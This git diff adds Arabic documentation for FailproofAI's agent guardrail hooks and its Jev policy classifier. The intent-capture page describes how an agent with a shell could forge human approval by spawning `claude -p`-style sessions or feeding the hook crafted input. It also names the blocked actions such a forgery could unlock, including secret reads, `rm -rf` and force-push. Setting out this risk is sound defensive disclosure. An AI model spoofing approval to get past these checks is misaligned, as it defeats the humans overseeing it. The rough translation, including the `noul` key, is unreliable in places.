+FAILPROOFAI_EVALUATOR_URL=… FAILPROOFAI_EVALUATOR_TOKEN=… \
+ npx failproofai-evaluator ./my-evals.js
+```
+
+انظر [مرجع Evaluator SDK](/ar/reference/evaluator-sdk) للبروتوكول وإعدادات العامل ونتائج أنواع النتائج.
+
+
+ **يجب أن يُصدر التقييم.** دالة متزامنة لا تعيد أبداً تحجب الخيط الوحيد الذي يملكه Node، ولا يمكن لأي مهلة زمنية أن تحترق بينما يفعل ذلك. اكتب تقييمات `async`.
+
+
+## ما لن يفعله مع عمليتك
+
+| | |
+| --- | --- |
+| **حجب حلقة الوكيل الخاصة بك** | تذهب الأحداث إلى قائمة انتظار في الذاكرة؛ يكتب المؤقت إليها. المؤقت هو `unref`'د، لذا استيراد هذه الحزمة لا يوقف أبداً سكريبت من الخروج. |
+| **نمو بدون حدود** | يُحدد قائمة الانتظار بالعدد **و** بالبايت المُقاس. ماضياً إما واحد، تُرمى الأحداث الأقدم وتحذير يقول ذلك — انقطاع التلمتري لا يجب أن يصبح قتل OOM. |
+| **أخذ العملية لأسفل** | حدث واحد غير قابل للترميز يُسقط وحده، وليس الدفعة حوله. غالب رمي، مرجع دائري، `BigInt`، بديل وحيد: كل واحد يُعالج بدلاً من نشره. |
+| **ترك دفعة نصف مكتوبة** | يُتم `fsync` المحتوى قبل إعادة تسمية ذرية، يُتم `fsync` الدليل بعده، وكتابة فاشلة تُنظف ملف مؤقت الخاص بها. |
+| **اترك النسخ قابلة للقراءة** | تكون الدفعات `0600` داخل دليل `0700`. تحمل الأهداف والأوامر وحجج الأداة ومخرجات الأداة. |
+| **سفن بيانات الاعتماد** | مفاتيح API والرموز و JWTs وعناوين المحمل والتعيينات ذات الشكل السري تُمحى قبل وصول البايت إلى القرص. يُمحي المستقبل مرة أخرى قبل التحميل. |
\ No newline at end of file
diff --git a/docs/ar/reference/jev-cloud.mdx b/docs/ar/reference/jev-cloud.mdx
new file mode 100644
index 000000000..3e0cc28a6
--- /dev/null
+++ b/docs/ar/reference/jev-cloud.mdx
@@ -0,0 +1,136 @@
+---
+title: "Jev عبر FailproofAI Cloud"
+description: "مفاتيح الآلة السحابية، وحالة الاتصال، والحدود، وسلوك الفشل لمراجعة سياسة Jev المباشرة."
+icon: "cloud"
+---
+
+هذا هو مرجع مسار Cloud لـ [سياسات Jev](/ar/policies/jev). Jev، وهو المصنّف من TypeSafe، يقرأ كل استدعاء أداة مقابل ما طلبته فعلاً ويجيب إلى جانب سياساتك، وليس بدلاً منها. من خلال **FailproofAI Cloud**، تستخدم الآلة المتصلة Jev بنفس المفتاح الذي تتصل به بالفعل: لا حساب TypeSafe، لا مفتاح ثاني، لا نقطة نهاية لتكوينها. يتم تحميل كل استدعاء على بدل الخطة الحالي لمؤسستك.
+
+كل ما يفعله Jev لم يتغير من [إعداد bring-your-own-key](/ar/reference/jev-providers): تبقى السياسات الصارمة نهائية، يتم مسح رفض السياسة القابلة للمراجعة فقط عندما يتم السؤال عن Jev بشأن تلك المخاوف بالضبط، وأي فشل يعود إلى نتيجة regex لهذا الاستدعاء.
+
+
+يتطلب **failproofai 1.0.8-beta.0** أو إصدار أحدث. الإصدار 1.0.7 ليس لديه Jev، على الرغم من أنه يتم ترتيبه فوق إصدارات 1.0.7 beta. بدون تكوين Jev لا يتغير شيء: تعمل الخطافات على سياسات regex تماماً كما كانت دائماً.
+
+
+## قبل أن تبدأ
+
+ثبّت Failproof AI على الآلة حيث يعمل وكيلك وربط خطافاتها بـ [harness مدعوم](/ar/reference/harnesses). إذا كنت تبدأ من الصفر، اتبع [البدء السريع](/ar/start/quickstart) حتى تثبيت الخطاف. تحقق من CLI المثبت باستخدام `failproofai --version`؛ حدّثه إذا كان سابقاً لـ Jev. تحتاج أيضاً إلى الوصول إلى صفحة **Administration → Keys** في مؤسستك لإنشاء مفتاح آلة.
+
+يراجع Jev استدعاءات الأداة المسماة على بوابة `PreToolUse` أو `PermissionRequest`. لا يراجع كل حدث في جلسة. لترى Jev يمسح رفض السياسة، تحتاج إلى سياسة مثبتة تم تحديدها كـ [قابلة للمراجعة](/ar/policies/authority)؛ جميع رفضات السياسات الأخرى تبقى نهائية.
+
+## تشغيله
+
+1. **أنشئ مفتاحاً باستخدام Jev.** في لوحة تحكم FailproofAI Cloud، افتح **Administration → Keys → Create key** واختر إعداد **machine**. يمنح المفتاح الأذونات الثلاث التي تحتاجها الآلة: `events:add` (إرسال النشاط)، و `policies:pull` (استقبال السياسات) و `jev:evaluate` (Jev، يتم تحميله على خطة مؤسستك). لا يمكن لمفتاح أن يحمل `jev:evaluate` بدون الاثنين الآخرين.
+2. **اتصل بالآلة** باستخدام هذا المفتاح. اقرأ السر لمرة واحدة في المطالبة، ثم قم بتشغيل أمر الإعداد الكامل:
+
+ ```bash
+ read -rs FAILPROOFAI_CLOUD_TOKEN && export FAILPROOFAI_CLOUD_TOKEN
+ failproofai config
+ ```
+
+ يقوم `failproofai config` بتثبيت المراقب، وربط الخطافات لـ CLIs للعامل التي يجدها، وربط الآلة. يحافظ متغير البيئة على المفتاح بعيداً عن حجج الأمر والسجل. إذا تم تثبيت harness لاحقاً، [قم بربطه بشكل صريح](/ar/start/quickstart).
+
+ إذا كانت مؤسستك تشغل FailproofAI Cloud الخاص بها بدلاً من الخدمة المستضافة، أضف عنوانها: `--url https://` (أو قم بتصدير `FAILPROOFAI_CLOUD_URL`). بدونه يتم فحص المفتاح مقابل الخدمة المستضافة ويفشل الاتصال. إذا كانت شهادة هذا المضيف تأتي من جهة إصدار شهادات خاصة، ثبّت جهة الإصدار في مخزن الثقة النظام للآلة (على سبيل المثال باستخدام `update-ca-certificates`)، وليس فقط في `NODE_EXTRA_CA_CERTS`: المراقب الذي يرسل الأحداث والسياسات يقرأ من المخزن النظامي. انظر [استكشاف الأخطاء](/ar/reference/troubleshooting).
+
+هذا كل شيء. يحتفظ الاتصال بالمفتاح، وعندما لا تملك الآلة تكوين **no** Jev بعد، يقوم بتشغيل Jev عبر FailproofAI Cloud في وضع **observe**: بمجرد أن يعطيها حزمة فحوصات، يتم السؤال عن Jev بشأن كل استدعاء أداة مغلق وتسجيل الحكم الصادر، لكن نتيجة سياساتك هي ما يتم تطبيقه. المخرجات تقول ذلك:
+
+```text
+ Jev on through FailproofAI Cloud, in observe mode: logged, not enforced (~/.failproofai/jev.json).
+```
+
+لا يزال Jev لا يسأل عن أي شيء حتى تعطيه حزمة فحوصات. Failproof AI لا يشحن أي شيء؛ بينما لا تعلن أي حزمة مثبتة عن أي شيء، تضيف المخرجات سطراً يقول ذلك، و `failproofai jev status` يكرره. قم بتثبيتها باستخدام:
+
+```bash
+failproofai policies add FailproofAI/jev-policies
+```
+
+**مع `--no-transcripts`، الاتصال لا يقوم بتشغيل Jev.** يرسل Jev كل استدعاء أداة مفحوص والمطالبة الأخيرة إلى FailproofAI Cloud، وهو أكثر مما طلبت اتصالاً بـ decisions-only. المفتاح لا يزال مخزناً، والمخرجات تقول Jev متاح وكيفية تشغيله:
+
+```bash
+failproofai jev setup --provider failproofai
+```
+
+لا يقوم بإيقاف Jev **off** أيضاً. إذا كان `jev.json` للآلة يعمل بالفعل عبر FailproofAI Cloud، فسيتم تركه كما هو، والمخرجات تقول Jev لا يزال يرسل كل استدعاء أداة مفحوص والمطالبة الأخيرة، وأن `failproofai jev setup --mode off` يقوم بإيقافه.
+
+
+الاتصال **لا ينسخ أبداً** ملف `~/.failproofai/jev.json` الموجود. إذا كنت تستخدم بالفعل نقطة نهاية Jev الخاصة بك، فستستمر في الاستخدام، والمخرجات تقول أن الملف تم تركه كما هو مكوّن — و، عندما يترك هذا الملف Jev مطفأ (مرفوض، أو مطفأ)، يقول ذلك وكيفية إصلاحه. لتبديل هذه الآلة إلى FailproofAI Cloud، قم بتشغيل `failproofai jev setup --provider failproofai`.
+
+
+## مراقبة، أو تطبيق أو إيقاف
+
+ابدأ بالمراقبة، شاهد ما كان سيفعله Jev على صفحة السياسة، ثم دعه يعمل:
+
+```bash
+failproofai jev setup --mode enforce # تنطبق أحكام Jev: قد تمسح رفضاً قابلاً للمراجعة وتضيف الخاص بها
+failproofai jev setup --mode observe # يتم السؤال عن Jev وتسجيله؛ نتيجة سياساتك هي ما يتم تطبيقه
+failproofai jev setup --mode off # احتفظ بالتكوين، توقف عن السؤال عن Jev
+```
+
+نفس المفتاح موجود في لوحة التحكم المحلية: **Settings → Jev** لديه مفتاح تشغيل/إيقاف ومراقبة/تطبيق. يعيد كتابة الوضع و لا شيء آخر. تقرأ الخطافات التكوين في كل استدعاء أداة، لذا ينطبق التغيير من الاستدعاء التالي، بدون إعادة تشغيل.
+
+## تحقق مما يفعله
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+يُظهر `status` المزود كـ **FailproofAI Cloud**، مضيف Cloud الذي اتصلت به الآلة، الوضع، ومصدر المفتاح كـ **FailproofAI Cloud connection**، وليس المفتاح أبداً. عندما يكون ملف `jev.json` لـ FailproofAI Cloud في مكانه لكن Jev لا يمكنه التشغيل، يقول السبب:
+
+| يقول `status` | `status --json` | المعنى |
+| --- | --- | --- |
+| **off — no Jev key is stored for this machine's FailproofAI Cloud connection** | `key-lacks-jev` | الآلة متصلة، لكن لا يتم تخزين مفتاح Jev لها: المفتاح ينقصه `jev:evaluate`، أو الاتصال لم يتمكن من تأكيده. قم بتشغيل `failproofai config` مرة أخرى مع المفتاح في `FAILPROOFAI_CLOUD_TOKEN`؛ إذا كان ينقصه الإذن، استخدم مفتاح **machine**. |
+| **off — this machine is not connected to FailproofAI Cloud** | `not-connected` | لا توجد اتصالات FailproofAI Cloud على هذه الآلة ليتبع إليها مفتاح Jev. |
+
+بعد `failproofai config --disconnect` لا يوجد ملف `jev.json` لـ FailproofAI Cloud بعد الآن (إلا إذا تم إيقاف تشغيله، وهو محفوظ)، لذا يقول `status` ببساطة أن Jev مطفأ. يحمل `status --json` نفس الحقائق (`provider: "failproofai"`، `keySource: "cloud"`، `cloudConnected`، `keyCarriesJev`)، أيضاً عندما يكون التكوين غائباً أو مرفوضاً. `permissions` دائماً ما يكون من `jev.json`؛ رفض حول `credentials.json` يضيف `credentialsPermissions`، و `fix` عندما يصلح أمر واحد ذلك. يرسل `test` طلب مباشر واحد ويقرر الكمون والإصدار من Jev الذي أجاب. يخرج 1، ويقول ذلك في عنوانه، عندما يصل الجواب بعد timeout الخطاف (الخطافات ستسجل `timeout`) أو يجيب على سؤال الفحص بشكل خاطئ.
+
+لوحة تحكم **Settings → Jev** أيضاً تُظهر **FailproofAI Cloud connection**: أي تنظيم تقرير الآلة إليه وما إذا كان مفتاحها يحمل Jev. يتم قراءته من ملفات الآلة الخاصة، بدون استدعاء الشبكة.
+
+## تحقق من استدعاء حقيقي
+
+ابدأ جلسة جديدة في الوكيل المرتبط بخطاف. اطلب منه استخدام أداة قراءة الملفات الخاصة به على `README.md` والإبلاغ عن العنوان. تأكد من أن الجلسة تحتوي على استدعاء الأداة تلك، ثم قم بتشغيل `failproofai jev status` مرة أخرى: عدد الاستدعاءات المقيّمة الأخيرة يجب أن يزداد. افتح **Policies → Activity** في [لوحة التحكم المحلية](/ar/reference/local-dashboard#review-policy-activity) لتفتيش حكم Jev والوضع لهذا الاستدعاء. في Cloud، تُظهر صفحة **Policies** للمؤسسة نتائج Jev للنشاط المسلّم. في وضع المراقبة، يتم تسجيل الحكم كـ **would-have** وتحدد نتيجة السياسة لا تزال الاستدعاء. يظهر المسح فقط عندما تطابقت سياسة قابلة للمراجعة وقام Jev بمسح الفحوصات المسماة لها.
+
+## ما يصل إلى صفحة السياسة
+
+الآلة تُرسل بالفعل نشاطها للخطاف إلى FailproofAI Cloud (`events:add`). مع Jev، كل سجل استدعاء مغلق أيضاً يقول أي مقيّم تم تشغيله، ما قرره Jev، أي سياسات تم مسحها، لماذا عاد عندما فعل ذلك، كمونه وال model الذي أجاب — القرارات والرموز والأسماء، أبداً الأمر أو مطالبتك. على صفحة **Policies** لمؤسستك:
+
+- استدعاء قرره حكم Jev الخاص به (وضع enforce) يُنسب إلى **Jev**، وعندما جاء الفحص الذي قرّر من حزمة، السجل أيضاً يسمي تلك الحزمة وإصدارها؛
+- في وضع المراقبة، يظهر رفض أو تحذير Jev كـ **would-have**، بجانب التدحرجات التي تراقبها؛
+- يتم عد السياسات التي مسحها Jev، أو كان سيمسحها في وضع المراقبة، لكل سياسة.
+
+## عندما لا يستطيع Jev الإجابة
+
+كل واحد من هؤلاء يعود إلى نتيجة سياساتك لهذا الاستدعاء، ويتم تسجيله مع سببه:
+
+| السبب | السبب |
+| --- | --- |
+| `out-of-credits` | استخدمت مؤسستك بدل الخطة الخاص بها. |
+| `http-401`, `http-403` | تم إبطال المفتاح، أو لا يحمل `jev:evaluate`. أعد الاتصال بمفتاح يحمله. |
+| `http-429` | FailproofAI Cloud يحدد معدل Jev لمؤسستك. حتى ينتهي الانتظار الذي يطلبه (its `Retry-After`، بحد أقصى 60 ثانية)، الآلة لا ترسل شيئاً وكل استدعاء يعود مباشرة. يتم تسجيل الاستدعاءات المحتفظ بها بهذه الطريقة كـ `http-429`، أو كـ `rate-limited` عندما يحتفظ بها حد معدل الآلة الخاص به أولاً. |
+| `http-429` (حد يومي) | استخدمت مؤسستك استدعاءات Jev اليومية: **10,000 لكل يوم UTC**، ما لم يقرر من يشغل FailproofAI Cloud الخاص بك حد آخر. كل استدعاء يعود حتى يتم إعادة تعيين العدد في 00:00 UTC؛ الآلة لا تزال تسأل مرة واحدة على الأكثر في الدقيقة، لذا تلتقط الإعادة في دقيقة واحدة. يقول `failproofai jev test` "Daily Jev limit for this org reached; resets at 00:00 UTC." |
+| `http-422` | رفض Jev طلب هذا الاستدعاء، عادة لأن استدعاء الأداة كان يحمل نص كثيف (base64، hex، كود مصغّر) فوق ميزانية الرمز من Jev. هذا الاستدعاء يعود في كل مرة؛ لا تعطل. |
+| `http-502` | Jev غير متاح الآن. |
+| `http-503` | هذا Cloud لا يمكنه خدمة Jev لمؤسستك: لا بوابة نموذج، تنظيم لم يتم توفيره بعد، أو البوابة معطلة. اسأل المسؤول الخاص بك؛ الخطافات تسأل مرة واحدة على الأكثر في الدقيقة. |
+| `http-404` | هذا FailproofAI Cloud لا يخدم Jev بعد. |
+| `timeout` | لا توجد إجابة في `timeoutMs` (افتراضي 3000). |
+| `model-mismatch` | إصدار Jev آخر غير 1.13 أجاب. |
+
+## حيث يعيش المفتاح، وحيث يذهب
+
+- يتم تخزين المفتاح مرة واحدة، في `~/.failproofai/credentials.json` (`0600`، في دليل مالك فقط)، بجانب بيانات اعتماد FailproofAI Cloud الأخرى. `jev.json` لا يحمل مفتاح لهذا المسار؛ واحد مكتوب هناك يجعل التكوين غير صالح.
+- إذا كان `credentials.json` يحمل **any** إذن لأي شخص غيرك (مجموعة أو آخر، قراءة أو كتابة)، أو يمكن **كتابة** دليله من قبل أي شخص غيرك، فإنه **مرفوض**، لا يقرأ، و Jev مطفأ حتى تصلحه: `chmod 600` على الملف، `chmod 700` على الدليل (أو أعد الاتصال، الذي يعيد كتابة الملف في `0600` ويجعل الدليل مالك فقط). دليل يمكن لآخرين فقط قراءته بخير؛ واحد يمكنهم الكتابة يسمح لهم بمبادلة الملف.
+- المفتاح يحسب فقط بينما الاتصال الذي جاء معه على الآلة: سياسة أو بيانات اعتماد التقرير لنفس FailproofAI Cloud **بنفس المفتاح**، في نفس الملف. مفتاح Jev تُرك خلف بدون واحد يتم تجاهله، و Jev يبقى مطفأ. يحدث عندما يترك `config --disconnect` من failproofai الأقدم مفتاح Jev في مكانه (لا يعرف إزالته)، أو عندما يتصل `config --token` من failproofai الأقدم بمفتاح آخر، وهو على FailproofAI Cloud قد ينتمي إلى منظمة أخرى. لتشغيل Jev مرة أخرى، اتصل مرة أخرى بمفتاح **machine**.
+- يتم إرسال المفتاح فقط إلى أصل Cloud الذي تم التحقق منه. `jev.json` يشير إلى أي مكان آخر مرفوض.
+- **وكيل على الآلة يمكنه قراءته.** `credentials.json` مالك فقط، والوكيل يعمل كهذا المالك. قراءة ملفات failproofai الخاصة بها مسموحة بقصد (فقط تغييرها محجوب، بـ `block-failproofai-commands`)، لذا الشيء الوحيد بين وكيل وهذا الملف هو `block-read-outside-cwd` — سياسة *قابلة للمراجعة* — ومن جلسة بدأت في دليل منزلك، لا شيء. مفتاح مع `jev:evaluate` ينفق بدل Jev لمؤسستك (حتى الحد اليومي) من أي مكان يتم استخدامه، لذا تعامل مع مفتاح آلة مثل أي بيانات اعتماد إنفاق أخرى: إذا قد يكون لدى وكيل قراءته، قم بتعطيله على صفحة المفاتيح والاتصال مرة أخرى بمفتاح جديد.
+- فقط الملفات العامة الخاصة بك تقرر هذا. المستودع لا يمكنه تشغيل Cloud Jev على، أشر إليه في مكان آخر أو توفير مفتاحه، و `FAILPROOFAI_JEV_API_KEY` يتم تجاهله لهذا المسار.
+- لكل استدعاء يقيمه Jev، يذهب طلب واحد إلى FailproofAI Cloud، يحمل ما [صفحة bring-your-own-key](/ar/reference/jev-providers#what-leaves-the-machine) تقائم (الأسرار محررة). FailproofAI Cloud يعيد توجيهه إلى TypeSafe ولا يسجل أو يحتفظ به.
+
+## أطفئه
+
+| الأمر | النتيجة |
+| --- | --- |
+| `failproofai jev setup --mode off` | احتفظ بالتكوين؛ Jev لا يتم السؤال. **هذا هو المفتاح الذي يدوم:** الاتصال مرة أخرى لا ينسخ أبداً `jev.json` الموجود، لذا Jev يبقى مطفأ حتى تقوم بتشغيله مرة أخرى مع `--mode observe`. |
+| `failproofai jev remove` | احذف `~/.failproofai/jev.json`؛ Jev مطفأ — حتى `failproofai config --token` التالي مع مفتاح يحمل `jev:evaluate`، الذي يجد لا `jev.json` ويقوم بتشغيل Jev في وضع المراقبة (ما لم يعمل مع `--no-transcripts`). للحفاظ عليه مطفأ، استخدم `--mode off`. |
+| `failproofai config --disconnect` | قطع الآلة: يتم إزالة المفتاح، و `jev.json` أيضاً عندما يسمي FailproofAI Cloud ولا يتم إيقافه. `jev.json` لنقطة النهاية الخاصة بك يبقى، وأيضاً واحد مطفأ، لذا Jev يبقى مطفأ عندما تتصل مرة أخرى. |
+
+من استدعاء الأداة التالي، تعمل الخطافات على سياسات regex تماماً كما كانت من قبل.
\ No newline at end of file
diff --git a/docs/ar/reference/jev-evaluations.mdx b/docs/ar/reference/jev-evaluations.mdx
new file mode 100644
index 000000000..9f3719acc
--- /dev/null
+++ b/docs/ar/reference/jev-evaluations.mdx
@@ -0,0 +1,88 @@
+---
+title: "مرجع تقييم Jev"
+description: "أنواع الأسئلة والدرجات المعايرة والحدود والملء الخلفي لتقييمات جلسات Jev."
+icon: "list-checks"
+---
+
+تصف هذه الصفحة أشكال الأسئلة وقواعد التسجيل خلف [تقييمات Jev](/ar/evaluations/jev). بعض الأسئلة تتطلب من نموذج أن *يقرأ* المحادثة، لكن ليس أن *يكتب* عنها. "هل عبّر العميل عن الاستعجالية؟" له إجابتان. "ما مدى إحباطهم؟" له عدد قليل، بالترتيب. أنت تعرف كل إجابة قبل أن تسأل.
+
+**تقييم التصنيف** مخصص تماماً لتلك الأسئلة. تكتب السؤال والإجابات التي قد يعطيها، ونموذج صغير مبني للتصنيف يعيد رقماً معايراً — لا تحصل أبداً على نص حر.
+
+
+مثل القاضي، تقييم التصنيف يكلف استدعاء نموذج واحد لكل جلسة. بخلاف القاضي، إنه نموذج صغير وموحد الغرض بدلاً من نموذج عام، لذا فهو أسرع وأرخص — لكنه لن يشرح نفسه أبداً. إذا كنت بحاجة للتفكير في السبب، استخدم [قاضياً](/ar/evaluations/judge).
+
+
+## أيهما أريد؟
+
+| السؤال | الاستخدام |
+| --- | --- |
+| كم عدد استدعاءات الأداة التي كانت هناك؟ | code |
+| هل استغرقت الجلسة أقل من 30 ثانية؟ | code |
+| هل عبّر العميل عن الاستعجالية؟ | **classifier** |
+| أي فريق يجب أن يتعامل مع هذا: الفواتير أو التقني أو المبيعات؟ | **classifier** |
+| ما مدى إحباط العميل؟ | **classifier** |
+| هل كانت الإجابة صحيحة فعلاً؟ | **judge** |
+| هل اتبعت سياسة التصعيد لدينا، ولماذا تعتقد ذلك؟ | **judge** |
+
+القاعدة العامة: **ما يمكن عده → code، الإجابات التي يمكنك إدراجها → classifier، يحتاج توضيحاً → judge.**
+
+لا تضطر للقرار مقدماً. صف ما تريد قياسه والمساعد يختار، يخبرك أيهما اختار ولماذا، ويمكنك التبديل.
+
+## نوعا السؤال
+
+### `noul` — هل هذا صحيح؟
+
+إجابتان، وتصف كليهما. النتيجة هي احتمالية أن تنطبق وصف "الصحيح":
+
+```json
+{
+ "instructions": "هل وعد المساعد برد الأموال دون التحقق أولاً من سياسة الاسترجاع؟",
+ "criteria": {
+ "true": "وعد برد الأموال أو تم إصداره دون فحص أو موافقة على السياسة مسبقاً",
+ "false": "لم يتم الوعد برد الأموال، أو اتبع كل رد سياسة فحص"
+ }
+}
+```
+
+صف الجانبين. "لا استعجالية معبّر عنها" إجابة حقيقية وقول ذلك يجعل الجانب الآخر أوضح.
+
+### `score` — كم من هذا؟
+
+مقياس مرتب، **الأسوأ أولاً**. النتيجة هي حيث تهبط الجلسة عليه، أعيد قياسه إلى 0–1:
+
+```json
+{
+ "instructions": "ما مدى إحباط العميل؟",
+ "criteria": ["هادئ", "محبط", "غاضب جداً"]
+}
+```
+
+**المقياس يأخذ من ثلاثة إلى خمسة مستويات، وكلها يجب أن تكون مختلفة.** يتم قياس الحدين، وليس نمطياً:
+
+- **مستويان** ينهار إلى ما يفعله `noul` بالفعل بشكل أفضل، و**أكثر من خمسة** يجعل النموذج يتذبذب نحو الوسط بدلاً من الالتزام. نفس السؤال على نفس الجلسة سجل 0.00 مع مستويين، 0.01 مع ثلاثة، و0.55 مع عشرة.
+- **المستويات المتكررة** تقسم الإجابة بشكل تعسفي بينها. جلسة كانت بلا شك غاضبة سجلت 1.00 ضد `["هادئ", "محبط", "غاضب جداً"]` و0.66 ضد `["غاضب", "غاضب", "غاضب"]` — رقم مشكّل بشكل جيد لا معنى له.
+
+الفئات بلا ترتيب — "الفواتير أو التقني أو المبيعات" — ليست مقياساً. اطرحها كـ `noul` لكل فئة، أو استخدم قاضياً.
+
+## قراءة النتائج
+
+يُنتج المصنف **درجة** من 0 إلى 1، تماماً مثل القاضي، لذا فإنها ترسم بياني وتصفي وتشغل التنبيهات بنفس الطريقة. هناك فرقان يستحقان المعرفة:
+
+- **لا يوجد تفكير.** الحقل فارغ، عن قصد. هذا النموذج لا يشرح نفسه، واختراع شرح سيكون تزييفاً بدلاً من أن تكون ميزة.
+- **عدم اليقين معنون.** سؤال `score` يبلغ عن ثقته الخاصة، والنتيجة التي لم يكن النموذج متأكداً منها يُعلّم `low_confidence` — لذا فإن "أيها يجب على الإنسان أن ينظر إليه" مرشح بدلاً من تخمين. سؤال `noul` لا يبلغ عن الثقة، لذا لا يتم تعليمه أبداً.
+
+يتم قراءة الجلسات الطويلة جداً في مقتطفات ودمجها. عندما تكون الجلسة طويلة جداً لقراءتها بالكامل، تقول النتيجة كم عدد الأدوار التي تم حذفها — لن ترى أبداً حكماً يتم على جزء من الجلسة معروضاً كحكم على الكل.
+
+## الحدود
+
+- **من ثلاثة إلى خمسة مستويات مقياس، كلها مختلفة.** انظر أعلاه؛ كلا الحدين يتم فرضها في وقت التأليف.
+- **سؤال واحد لكل تقييم.** اطرح شيئين وتحصل على تقييمين، وهذا أيضاً ما تريده على الرسم البياني.
+- **تعديل السؤال ينشر نسخة جديدة.** الدرجات القديمة والجديدة غير قابلة للمقارنة، لذا يتم فصلها بدلاً من مزجها في خط اتجاه واحد.
+- **المصنف ينتج دائماً درجة**، لا أبداً مقياساً أو تأكيداً.
+- **لا يوجد تفكير**، كما هو أعلاه. إذا كان رقم سيجعل شخصاً ما يسأل "لماذا؟"، اكتب قاضياً بدلاً من ذلك.
+
+## الاختبار والملء الخلفي
+
+بخلاف القاضي، تقييم التصنيف **يمكن** اختباره قبل نشره — [اختبره](/ar/evaluations/test) ضد جلسات حقيقية بنفس الطريقة التي ستفعل بها تقييم code، واقرأ الدرجات قبل أن يذهب أي شيء مباشر.
+
+يمكن أيضاً [ملؤه خلفياً](/ar/evaluations/deploy#score-sessions-you-already-have) على الجلسات التي لديك بالفعل. إنه يكلف استدعاء نموذج واحد لكل جلسة، لذا حدد النافذة بقصد بدلاً من إعادة تشغيل كل شيء.
\ No newline at end of file
diff --git a/docs/ar/reference/jev-intent.mdx b/docs/ar/reference/jev-intent.mdx
new file mode 100644
index 000000000..08a7175a7
--- /dev/null
+++ b/docs/ar/reference/jev-intent.mdx
@@ -0,0 +1,112 @@
+---
+title: "Jev intent capture"
+description: "Which harness events tell the Jev evaluator what the human asked for, which field carries the text, what is never counted, and the risk that comes with trusting a harness-delivered prompt."
+icon: "message-square-quote"
+---
+
+عند تكوين [Jev policy review](/ar/policies/jev)، يحكم المقيّم على كل استدعاء أداة محمية مقابل **ما طلبه الإنسان فعلياً**، وليس مقابل أي نص وضعته الحزمة أمام الوكيل. يمكن لرد مثل "نعم، قم بفرض الدفع" أن يمرر سياسة **قابلة للمراجعة** — وهذا هو القصد من المقيّم بالفعل، لأن regex الذي لا يستطيع قراءة الطلب يمنع ثلث العمل الحقيقي.
+
+يأتي هذا النص من مكان واحد: **الطلب الذي تسلّمه الحزمة نفسها للـ hook عند حدث prompt-submit**. يسجل Failproof AI الجزء الذي كتبه الإنسان — مع إزالة تغليف الحزمة والأسرار المحررة والمحدودة — في ملف `0600` تحت دليل الحالة الخاص به. لا يتم الاستشارة على أي ملف على القرص: نص الجلسة هو ملف يمكن للوكيل إعادة كتابته بأمر واحد، لذلك لا يُسأل أبداً عن من كتب الطلب.
+
+## المخاطرة التي يقبلها هذا بوضوح
+
+يمكن لوكيل يمكنه بالفعل تشغيل الأوامر أن يجعل الحزمة تسلم طلباً. `claude -p "…"`، `codex exec`، `copilot -p`، `cursor-agent -p`، `devin -p`، `droid -p`، `goose run -t` و `pi -p` كلها تطلق حدث prompt-submit نفسه، بنفس الحمل البياني، مثل شخص يكتب في جلسة فرعية يتحكم بها. يمكنه أيضاً تشغيل ملف hook الثنائي الخاص بـ Failproof AI وإطعامه حمولة كتبها. لا يوجد شيء داخل Failproof AI يمكنه التمييز بين الاثنين — كلاهما نفس البرنامج يقرأ نفس stdin.
+
+**إذاً وكيل لديه shell يمكنه زيّ موافقته الخاصة.** هذا تبادل متعمد، تم اتخاذه في 2026-09-23، وإليك كلا الجانبين:
+
+- **ما الذي تشتريه.** تم بناء البديل وقياسه: اطلب حقلاً تسمي فيه الحزمة إنساناً باعتباره مؤلف الطلب، ولا تسجل شيئاً وإلا. لا توجد حزمة شحن ترسل مثل هذا الحقل، لذلك سجلت تلك النسخة **لا شيء، على كل حزمة** — حكم Jev على كل استدعاء بدون نية مذكورة ولم يتمكن أبداً من تمرير سياسة واحدة. التقاط لا يطلق أبداً ليس منتجاً أكثر أماناً، إنه لا منتج.
+- **ما الذي لا يستطيع فعله.** يمكن فقط للطلب المسجل أن يمرر سياسة محددة مسبقاً بـ **قابلة للمراجعة**. لا تُمرر سياسة **صعبة** أبداً بأي شيء يقوله Jev، لذلك لا يمكن لطلب مزيف أبداً أن يحول نفي صعب إلى السماح — وتخطي الـ hook لا يكسب الوكيل شيئاً أيضاً: الحزمة تستدعي Failproof AI لاستدعاء الأداة بشكل مستقل.
+- **ما الذي يمكنه فعله، بحجمه الكامل.** الأسوأ الذي يمكنه فعله هو تمرير إحدى السياسات الخمس عشرة القابلة للمراجعة المدمجة — و **اثنتا عشرة من تلك الخمس عشرة تمنع**. `protect-env-vars`، `block-env-files`، `block-read-outside-cwd`، `block-rm-rf`، `block-force-push`، `block-secrets-write` وستة كتل infrastructure-CLI (`block-kubectl`، `block-terraform`، `block-aws-cli`، `block-gcloud`، `block-az-cli`، `block-helm`) هي عمليات منع، لذلك يمكن لموافقة مزيفة أن تحول منع حقيقي إلى سماح بطباعة أسرار البيئة، قراءة ملف `.env`، القراءة خارج المشروع، `rm -rf`، دفع قسري، كتابة ملف أسرار، أو تغيير البنية التحتية المباشرة. فقط `warn-git-amend`، `warn-destructive-sql` و `warn-global-package-install` هي تنبيهات. التثبيت الافتراضي يشغل اثنين من الاثني عشر، `protect-env-vars` و `block-env-files`؛ العشرة الأخرى تصل فقط إلى جهاز قام شخص ما بتمكينها عليه. ما لا يصل إليه أي طلب هو كل شيء صعب — `block-sudo`، `block-curl-pipe-sh`، `block-push-master`، `block-work-on-main`، الحراس الذين يوقفون وكيل تعطيل Failproof AI، وكل بديل مدمج آخر غير محدد قابل للمراجعة. [Policy authority](/ar/policies/authority) يسرد كل خمسة عشر ويخبر بما يتم مراجعة كل واحدة.
+
+ما يتم رفضه لا يزال كل شيء رخيص للتحقق منه وأن الوكيل لا يمكنه الحصول عليه فقط بالطلب: دور تحدده حمولة الحزمة نفسها كمقدم من الآلة، حمولة تسمي وكيلاً فرعياً، معرف جلسة وليس اسماً عادياً، حدث ليس حدث prompt-submit، ونص ليس شيئاً سوى تغليف الحزمة — بما في ذلك كلمات stop-gate الخاصة بـ Failproof AI، التي توجهها عدة حزم مرة أخرى كالدور التالي للمستخدم.
+
+## جدول لكل حزمة
+
+"Text field" هو حقل حمولة stdin بعد معايرة Failproof AI لكل حزمة. "Recorded" يقول ما إذا كان الطلب محفوظاً كطلب الإنسان.
+
+| Harness | `--cli` | Prompt event → canonical | Text field | Recorded | Agent's last message read from |
+| --- | --- | --- | --- | --- | --- |
